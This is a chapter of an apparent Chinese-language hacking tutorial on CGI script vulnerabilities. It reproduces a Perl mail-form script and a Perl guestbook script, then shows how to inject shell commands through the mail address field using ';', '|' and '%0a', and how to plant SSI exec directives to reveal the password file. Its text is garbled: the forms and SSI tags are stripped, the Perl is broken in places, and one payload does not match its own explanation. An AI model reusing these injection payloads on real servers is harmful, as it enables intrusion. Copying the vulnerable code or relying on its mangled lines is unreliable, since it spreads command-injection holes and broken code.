第四章、做几个试验
第四节、一些脚本漏洞的应用
一、邮件脚本特殊字符应用:
    我们来讨论下面这个例子:有一个著名的"邮件脚本,它的主要任务是把访问者填写的表单发送到webmaster的邮箱。下面看一下有关的代码:
-- vuln1.html - The submission form -- 
Thankyou for visiting my site. Please submit your comments and suggestions here: 

-- EOF -- 
-- vuln1.pl - The vulnerable perl script -- 
#!/usr/bin/perl 
# Output will be an html page 
print "Content-type: text/html\n\n"; 
# Get input from form into the @pairs array 
@pairs = split(/&/, $ENV{'QUERY_STRING'}); 
# For each name/value pair in the array foreach 
$pair (@pairs) { 
# Split the pair into their own variables 
($name, $value) = split(/=/, $pair); 
# Convert the form-encoding back 
$name =~ tr/+/ /; 
$name =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg; 
$value =~ tr/+/ /; 
$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg; 
# Store the destination email address and comments in variables 
if ($name eq "address") {
# Store the destination email
address $address = $value; }
elsif ($name eq "comments") { 
# Store the comments 
$comments = $value; } } 
# At this point $address holds the address specified on the form, and 
# $comments holds the user's comments. 
# --- "Active" part 
# See discussion for details of this part 
open(MAIL,"| /bin/mail $address"); 
print MAIL "$comments"; 
close(MAIL); 
# --- End of "active" part 
# Print output for the user print  Thanks for your comments
EOT-- EOF -- 
    以上这个例子包括两段程序。Html段负责提交用户的输入,并且也是易受攻击的。如果你不了解Perl那么你也没必要知道他的原理。你只要知道目的Email地址(就是在html页面被指明为hidden的元素)和你输入的内容(根据textarea的输入)被保存,然后在“active”部分向“邮件”程序提交就可以了。
    在Perl程序中,open函数的用处打开文件,但是这里更重要的是管道符。在这句话中,指向命令“/bin/mail webmaster@vulnerable.com”的管道被打开,你在Html页面填写的内容被发送到了指定的webmaster的邮箱中去了。
    看看发生了什么? “/bin/mail webmaster@vulnerable.com”命令是由你在html页面提交表单时激活的。如果一个恶意的用户在本地保存并改装了表单会发生什么事情呢?如果html页面没有驻留在服务器,你必须在“action”中填写完整的URL。现在提交的Email地址被改成了你自己的Email地址,你的提交内容也就发送到了自己的Email里去了。
    如果你如下改装表单,试想会发生什么?
        “value="hacker@root.com;mail hacker@root.com”
    在script程序中,这样的Email地址将被解析为:“/bin/mail hacker@root.com;mail hacker@root.com”(注意:这里我虽然用/etc/passwd,但是这仅仅是个说明原理的举例。现在大多数系统的passwd文件对于入侵者来说都不会包含有效的密码信息)
    如果你发现script程序过滤“;”,你可以试“|”符号,或者用“\n”来换行,这样做的目的是重新运行命令按你的意图执行。记住:使用“|”将使第一条命令的输出回传给第二命令,并且在web上发送换行符你需要用到的是“%0a”。于是地址部分现在变成了“value="hacker@root.com%0amail hacker@root.com”
二、SSI的危险应用:
    SSI的意思是“Server Side Includes”。SSI是一些能放在html中的、被服务器解析的指令。这些页面通常都支持扩展的.shtml(或者更底的版本),不过这还是要看服务器的设置。有些服务器对所有的html都解析。如果你可以让服务器解析你自己写的SSI,那么你就能够执行命令和其他的一些动作了,事实上很多CGI程序都没有考虑这些东西,比如下面的例子:
-- vuln2.shtml - A public comments page -- 
Thankyou for visiting my site. Please submit your comments and suggestions here: 

Here's what other people have had to say: 
-- EOF -- 
-- vuln2.pl - The vulnerable perl script -- 
#!/usr/bin/perl 
# Define the location of the page to be updated 
# Change this to the location of vuln2.shtml if you're trying this out 
$pagename = "/home/web/html/vuln2.shtml"; 
# Print content-type header 
print "Content-type: text/html\n\n"; 
# Get input from form into the @pairs array 
@pairs = split(/&/, $ENV{'QUERY_STRING'}); 
# For each name/value pair in the array foreach 
$pair (@pairs) { 
# Split the pair into their own variables 
($name, $value) = split(/=/, $pair); 
# Convert the form-encoding back 
$name =~ tr/+/ /; 
$name =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg; 
$value =~ tr/+/ /; 
$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg; 
# Store the comments in a variable 
if ($name eq "comments") { 
# Store the comments 
$comments = $value; } } 
# At this point $comments holds the user's comments. 
# Separate each comment in the output file 
$comments .= "\n \n"; 
# --- "Active" part # Open the file for read/write 
open(FILE,"+; 
# Search through the array and insert the comments just before the #  
line $linenum = 1; 
foreach $line (@list) { if ($line =~ /^/) { $linenum--; 
splice(@list, $linenum, 0, $comments); 
last; } 
$linenum++; } 
# Write the array back to the file 
seek(FILE,0,0); 
truncate(FILE,0); 
foreach $line (@list) { print FILE $line; } 
# Close the file 
close(FILE); 
# --- End "active" part 
# Print output for the user print  Thanks for your comments. Click here to return to the comments page
EOT -- EOF -- 
    这里的两段代码其实是一个简单的留言板,你可以发现.shtml文件用SSI来显示页眉和页脚,当我们浏览网页的时候,SSI所指向的代码将会被执行。注意在.shtml文件中用标记的地方,其后的内容都将被认为是SSI指令而执行,然后等你回到页面上,你就可以看到你所需要的密码文件了。(注意:密码文件可能是很长的一行文字——这是因为html没有在该换行的时候插入换行符。你可以从浏览器的“查看源文件”来查看)。
    这一切都是我们所希望的,但是很多服务器都屏蔽了exec指令来防止这类攻击。在以上的例子中,你最多能做到的就是用include指令来取得一个你所知道路径的文件内容。象密码文件对于你的当前权限来说可能不可访问。注意有的文件(比如CGI scripts)不会因为include调用而暴露它们的源码。从入侵者的角度来看,include指令的价值并不是很大,如果不能exec,那你能做的就更有限了。
上一页 目录 下一页